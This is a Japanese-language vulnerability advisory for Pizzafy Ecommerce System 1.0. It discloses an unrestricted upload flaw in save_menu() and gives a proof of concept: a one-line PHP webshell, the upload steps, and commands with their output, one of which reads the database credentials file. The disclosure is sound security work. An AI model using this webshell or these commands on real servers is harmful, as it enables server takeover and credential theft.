Pizzafy Ecommerce System 1.0 – save_menu() の無制限ファイルアップロードによるリモートコード実行

詳細

影響を受けるコンポーネント

ファイル: Pizzafy/admin/admin_class_novo.php → save_menu() 関数
パラメータ: img (FILE)
アップロードパス: Pizzafy/assets/img/

説明

Pizzafy Ecommerce System 1.0 の save_menu() 関数は、ファイルタイプの検証を行わずに、メニュー項目の画像アップロードを処理します。このアプリケーションは pathinfo() を使用してファイル拡張子を取得しますが、アップロードされたファイルを Web からアクセス可能な assets/img/ ディレクトリに移動する前に、許可されたファイルタイプを実際にチェックまたは制限することはありません。認証された管理者は、メニュー画像を装った PHP ウェブシェルをアップロードし、ブラウザから直接アクセスして、サーバー上でリモートコード実行を実現することができます。

admin_class_novo.php 内の脆弱なコード:

function save_menu(){
    extract($_POST);
    // ...
    if($_FILES['img']['tmp_name'] != ''){
        $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        $move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
        $data .= ", img_path = '$fname' ";
    }
    // No extension check, no MIME type check
}

概念実証

ステップ 1 — PHP ウェブシェルを作成する

次の内容で shell_web2.php という名前のファイルを作成します:

<?php echo shell_exec($_GET['cmd']); ?>

ステップ 2 — メニュー管理からウェブシェルをアップロードする

管理者としてログインし、次の場所に移動します:

http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu

メニューフォームに任意の有効な値を入力し、画像ファイルとして shell_web2.php を選択します。保存 をクリックします。

ウェブシェルは、顧客向けページのメニュー項目として表示されます。

ステップ 3 — アップロードしたシェルを見つける

assets ディレクトリに移動します — ディレクトリリスティングが有効になっています（CWE-548）:

http://192.168.0.9/pizzafy/Pizzafy/assets/img/

アップロードされた PHP シェルがディレクトリリスティングに表示されます。

ステップ 4 — リモートコマンドを実行する

アップロードしたシェルに直接アクセスし、cmd パラメータを介してシステムコマンドを渡します:

http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami

応答 — サーバー上で実行された OS コマンド:

desktop-g1i9np3\dell

追加コマンド

?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php

影響

認証された管理者は、以下のことが可能です:

• Web サーバーに任意の PHP ファイルをアップロードできる
• サーバー上で任意の OS レベルのコマンドを実行できる
• データベースの資格情報を含む機密ファイルを読み取ることができる
• 完全な永続的アクセスを得るためにリバースシェルを確立できる
• 基盤となるサーバーを完全に侵害できる

ディレクトリリスティングに関する注意（CWE-548）

assets/img/ ディレクトリではディレクトリリスティングが有効になっており、認証されていないユーザーでもウェブシェルを含むすべてのアップロードファイルを閲覧できます。これにより、ファイルアップロードの脆弱性の深刻度がさらに高まります。

参照

• SourceCodester — Pizzafy Ecommerce System
• CWE-434: 危険なタイプのファイルの無制限アップロード（Unrestricted Upload of File with Dangerous Type）
• CWE-548: ディレクトリリスティングによる情報漏えい（Exposure of Information Through Directory Listing）